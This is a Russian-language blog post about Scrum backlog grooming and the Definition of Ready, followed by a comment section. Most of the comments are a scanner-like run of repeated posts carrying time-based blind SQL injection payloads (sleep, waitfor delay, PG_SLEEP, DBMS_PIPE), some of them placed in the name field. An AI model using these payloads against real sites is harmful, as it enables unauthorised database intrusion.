Довольно давно, когда я запускал свой первый Скрам-проект (Ciklum, проект Encode, 2004 год) мы не знали, что такое груминг.
Заказчик созванивался с нами для планирования спринта… и тут начиналось: мы задавали глупые вопросы; заказчик куда-то убегал за ответами, с кем-то советовался и менял приоритеты; мы воевали с картами за истории, били истории на задачи… и так бесконечно. Планирование спринта у нас редко занимало меньше 8 часов.
Хуже всего то, что через две недели этот кошмар нужно было повторить. Сильная закалка для Скрам-мастера! :)
Что мы делали не так? Что мы упускали? Что бы я делал сейчас по-другому?
Сегодня практика “причесывания беклога” (по-английски: “grooming”) является одной из тех активностей, без которых не обходятся продуктивные agile-команды.
Эта практика описана в “Скрам-гайде” от Швабра и Сазерленд, формальном описании Скрама.
Что такое груминг? Дополнительная церемония Скрама? Как и когда его проводить?
Груминг – это не ещё один тип встреч в Скраме. Это активность, которая делается на протяжении спринта для подготовки беклога к следующему спринт-планированию.
Груминг стоит проводить:
- активно в начале проекта или релиза;
- затем регулярно (или по необходимости) в течение всего проекта, выделяя на эту активность время в каждом спринте.
В начале проекта на груминги может уходить немало времени. Чтобы всё-таки был прогресс по выполнению текущих задач, а вы не занимались слепым анализом требований, советуем взять за правило тратить не больше 10% от времени спринта на груминги.
Когда у вас появится достаточно нагрумленных историй на 2-3 спринта вперёд, стоит чуть сбавить темп и дальше грумить регулярно, но понемногу. Так вы будете поддерживать в постоянном здоровом состоянии верхушку беклога.
Здоровое состояние беклога или Definition of Ready:
- верхушки беклога достаточно на 2-3 спринта;
- эти истории понятны всем членам команды;
- истории имеют такой размер, что несколько из них могут быть сделаны за спринт;
- истории оценены командой;
- записаны критерии приёмки или “how to demo”.
Как можно провести сессии груминга?
Печать истории из треккинга:
Пригласить Владельца Продукта приехать и поучаствовать вживую:
Создать непринужденную атмосферу и погрумить в свое удовольствие:
Советы по грумингу:
- Сделайте груминг частью вашего процесса.
- Выработайте понятие здорового беклога – “Definition of Ready”.
- Заведите понятие “текущего” и “следующего” релиза, что позволит заказчику управлять объёмом работы текущего релиза.
- Встречайтесь вживую всей командой и Владельцем Продукта как минимум раз в релиз для одноразового масштабного груминга и планирования релиза.
- В каждом спринте выделяйте время всей команды на регулярные grooming-сессии – скажем, каждую среду c 11:00 до 12:00.
- Во время груминга работайте с бумажным беклогом.
Write a comment
цац (Wednesday, 18 September 2019 14:56)
Какой только херни не придумают лишь бы усложнить жизнь программистам, а менеджерам пыль в глаза руководству пустить
Oleksand Chovhan (Thursday, 07 November 2019 23:56)
Цац не в себе
Alexandr Bondarenko (Wednesday, 29 April 2020 20:17)
Цац, приди в себя!
Груммер Ебатель (Thursday, 16 July 2020 11:58)
Цец дело говорит. Цац хуйни не скажет.
Анти-цац (Tuesday, 03 November 2020 08:46)
Цац, уверуй.
Скрам - это сексуально
не-цац (Friday, 12 February 2021 08:55)
цац
Анон (Friday, 12 February 2021 16:10)
Если этой "херни" не будет, то бэклог будет в говне..
Ну или если Вы работайте в финтехе, то тут другая проблема, там всем плевать на бэклог :)
Ламер (Tuesday, 14 September 2021 03:42)
Комментарии порадовали))
Просто я (Thursday, 16 September 2021 12:35)
Цац всё правильно сказал.
цац (Sunday, 10 October 2021 10:26)
я был не прав...
exmr (Friday, 26 November 2021 09:31)
Люди, очнитесь: разработчики, аналитики, тестировщики вырезают бумажечки и играются с ними... Что за детский сад? Может вместо этого работать лучше?
цац пророк наш
Груммер-Ахуеватель (Friday, 24 December 2021 21:44)
Всем пива
ZMskyuza (Wednesday, 26 October 2022 17:23)
20
ZMskyuza (Wednesday, 26 October 2022 20:37)
20
ZMskyuza (Wednesday, 26 October 2022 20:38)
20
ZMskyuza (Wednesday, 26 October 2022 20:39)
20
ZMskyuza (Wednesday, 26 October 2022 20:40)
20
ZMskyuza (Wednesday, 26 October 2022 20:40)
20
ZMskyuza (Wednesday, 26 October 2022 20:41)
20
ZMskyuza (Wednesday, 26 October 2022 20:42)
20
ZMskyuza (Wednesday, 26 October 2022 20:43)
20
ZMskyuza (Wednesday, 26 October 2022 20:43)
20
ZMskyuza (Wednesday, 26 October 2022 20:44)
20
ZMskyuza (Wednesday, 26 October 2022 20:45)
20
ZMskyuza (Wednesday, 26 October 2022 20:46)
20
ZMskyuza (Wednesday, 26 October 2022 20:47)
20
ZMskyuza (Wednesday, 26 October 2022 20:47)
20
ZMskyuza (Wednesday, 26 October 2022 20:48)
20
ZMskyuza (Wednesday, 26 October 2022 20:49)
20
ZMskyuza (Wednesday, 26 October 2022 20:50)
20
ZMskyuza (Wednesday, 26 October 2022)
20
ZMskyuza (Wednesday, 26 October 2022 20:51)
20
ZMskyuza (Wednesday, 26 October 2022 20:52)
20
ZMskyuza (Wednesday, 26 October 2022 20:53)
if(now()=sysdate(),sleep(15),0)
ZMskyuza (Wednesday, 26 October 2022 20:54)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ZMskyuza (Wednesday, 26 October 2022 20:55)
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ZMskyuza (Wednesday, 26 October 2022 20:55)
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ZMskyuza (Wednesday, 26 October 2022 20:56)
-1; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:57)
-1); waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:58)
1 waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:58)
S7sHdJ7C'; waitfor delay '0:0:15' --
ZMskyuza (Wednesday, 26 October 2022 20:59)
-5 OR 215=(SELECT 215 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:00)
-5) OR 869=(SELECT 869 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:01)
-1)) OR 406=(SELECT 406 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:01)
oW7yo75E' OR 186=(SELECT 186 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:02)
lkoGzBVo') OR 437=(SELECT 437 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022 21:03)
F7FwSLBd')) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
ZMskyuza (Wednesday, 26 October 2022)
20*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ZMskyuza (Wednesday, 26 October 2022 21:04)
20'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ZMskyuza (Wednesday, 26 October 2022 21:05)
20
ZMskyuza (Wednesday, 26 October 2022 21:06)
20
ZMskyuza (Wednesday, 26 October 2022 21:07)
20
ZMskyuza (Wednesday, 26 October 2022 21:08)
20
ZMskyuza (Wednesday, 26 October 2022 21:08)
20
ZMskyuza (Wednesday, 26 October 2022 21:09)
20
ZMskyuza (Wednesday, 26 October 2022 21:10)
20
ZMskyuza (Wednesday, 26 October 2022 21:11)
20
ZMskyuza (Wednesday, 26 October 2022 21:11)
20
ZMskyuza (Wednesday, 26 October 2022 21:12)
20
ZMskyuza (Wednesday, 26 October 2022 21:13)
20
ZMskyuza (Wednesday, 26 October 2022 21:13)
20
ZMskyuza (Wednesday, 26 October 2022 21:14)
20
ZMskyuza (Wednesday, 26 October 2022 21:15)
20
ZMskyuza (Wednesday, 26 October 2022 21:16)
20
ZMskyuza (Wednesday, 26 October 2022 21:17)
20
ZMskyuza (Wednesday, 26 October 2022 21:18)
20
ZMskyuza (Wednesday, 26 October 2022 21:19)
20
ZMskyuza (Wednesday, 26 October 2022 21:20)
20
ZMskyuza (Wednesday, 26 October 2022 21:21)
20
ZMskyuza (Wednesday, 26 October 2022 21:21)
20
ZMskyuza (Wednesday, 26 October 2022 21:22)
20
ZMskyuza (Wednesday, 26 October 2022 21:23)
20
ZMskyuza (Wednesday, 26 October 2022 21:24)
20
ZMskyuza (Wednesday, 26 October 2022 21:25)
20
ZMskyuza (Wednesday, 26 October 2022 21:26)
20
ZMskyuza (Wednesday, 26 October 2022 21:27)
20
ZMskyuza (Wednesday, 26 October 2022 21:28)
20
ZMskyuza (Wednesday, 26 October 2022 21:28)
20
ZMskyuza (Wednesday, 26 October 2022 21:29)
20
ZMskyuza (Wednesday, 26 October 2022 21:30)
20
ZMskyuza (Wednesday, 26 October 2022 21:31)
20
ZMskyuza (Wednesday, 26 October 2022 21:33)
20
ZMskyuza (Wednesday, 26 October 2022 21:45)
20
ZMskyuza (Wednesday, 26 October 2022 21:46)
20
if(now()=sysdate(),sleep(15),0) (Wednesday, 26 October 2022 21:47)
20
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z (Wednesday, 26 October 2022 21:48)
20
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z (Wednesday, 26 October 2022 21:49)
20
1 waitfor delay '0:0:15' -- (Wednesday, 26 October 2022)
20
Tjarur2c'; waitfor delay '0:0:15' -- (Wednesday, 26 October 2022 21:51)
20
BKdBoq5z' OR 780=(SELECT 780 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:52)
20
dHR5cFTn') OR 450=(SELECT 450 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:53)
20
rfNjQqiX')) OR 822=(SELECT 822 FROM PG_SLEEP(15))-- (Wednesday, 26 October 2022 21:54)
20
ZMskyuza'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' (Wednesday, 26 October 2022 21:54)
20
ZMskyuza (Wednesday, 26 October 2022 21:55)
20
ZMskyuza (Wednesday, 26 October 2022 21:56)
20
ZMskyuza (Wednesday, 26 October 2022 21:57)
20
ZMskyuza (Wednesday, 26 October 2022 21:58)
20
ZMskyuza (Wednesday, 26 October 2022 21:58)
20
ZMskyuza (Wednesday, 26 October 2022 21:59)
20
ZMskyuza (Wednesday, 26 October 2022 22:00)
20
ZMskyuza (Wednesday, 26 October 2022 22:01)
20
ZMskyuza (Wednesday, 26 October 2022 22:02)
20
ZMskyuza (Wednesday, 26 October 2022 22:02)
20
ZMskyuza (Wednesday, 26 October 2022 22:03)
20
ZMskyuza (Wednesday, 26 October 2022 22:04)
20
ZMskyuza (Wednesday, 26 October 2022 22:05)
20
ZMskyuza (Wednesday, 26 October 2022 22:06)
20
ZMskyuza (Wednesday, 26 October 2022 22:06)
20
ZMskyuza (Wednesday, 26 October 2022 22:07)
20
ZMskyuza (Wednesday, 26 October 2022 22:08)
20
ZMskyuza (Wednesday, 26 October 2022 22:09)
20
ZMskyuza (Wednesday, 26 October 2022 22:10)
20
ZMskyuza (Wednesday, 26 October 2022 22:10)
20
ZMskyuza (Wednesday, 26 October 2022 22:11)
20
ZMskyuza (Wednesday, 26 October 2022 22:12)
20
ZMskyuza (Wednesday, 26 October 2022 22:13)
20
ZMskyuza (Wednesday, 26 October 2022 22:14)
20
ZMskyuza (Wednesday, 26 October 2022 22:15)
20
ZMskyuza (Wednesday, 26 October 2022 22:15)
20
ZMskyuza (Wednesday, 26 October 2022 22:16)
20
ZMskyuza (Wednesday, 26 October 2022 22:17)
20
ZMskyuza (Wednesday, 26 October 2022 22:17)
20
ZMskyuza (Wednesday, 26 October 2022 22:18)
20
ZMskyuza (Wednesday, 26 October 2022 22:19)
20
ZMskyuza (Wednesday, 26 October 2022 22:20)
20
ZMskyuza (Wednesday, 26 October 2022 22:21)
20
ZMskyuza (Wednesday, 26 October 2022 22:22)
20
ZMskyuza (Wednesday, 26 October 2022 22:22)
20
ZMskyuza (Wednesday, 26 October 2022 22:23)
20
ZMskyuza (Wednesday, 26 October 2022 22:24)
20
ZMskyuza (Wednesday, 26 October 2022 22:25)
20
ZMskyuza (Wednesday, 26 October 2022 22:26)
20
ZMskyuza (Wednesday, 26 October 2022 22:26)
20
ZMskyuza (Wednesday, 26 October 2022 22:27)
20
ZMskyuza (Wednesday, 26 October 2022 22:28)
20
ZMskyuza (Wednesday, 26 October 2022 22:28)
20
ZMskyuza (Wednesday, 26 October 2022 22:29)
20
ZMskyuza (Wednesday, 26 October 2022 22:30)
20
ZMskyuza (Wednesday, 26 October 2022 22:31)
20
ZMskyuza (Wednesday, 26 October 2022 22:31)
20
ZMskyuza (Wednesday, 26 October 2022 22:32)
20
ZMskyuza (Wednesday, 26 October 2022 23:13)
20
ZMskyuza (Wednesday, 26 October 2022 23:57)
20
ZMskyuza (Thursday, 27 October 2022 01:21)
20
ZMskyuza (Thursday, 27 October 2022 02:37)
20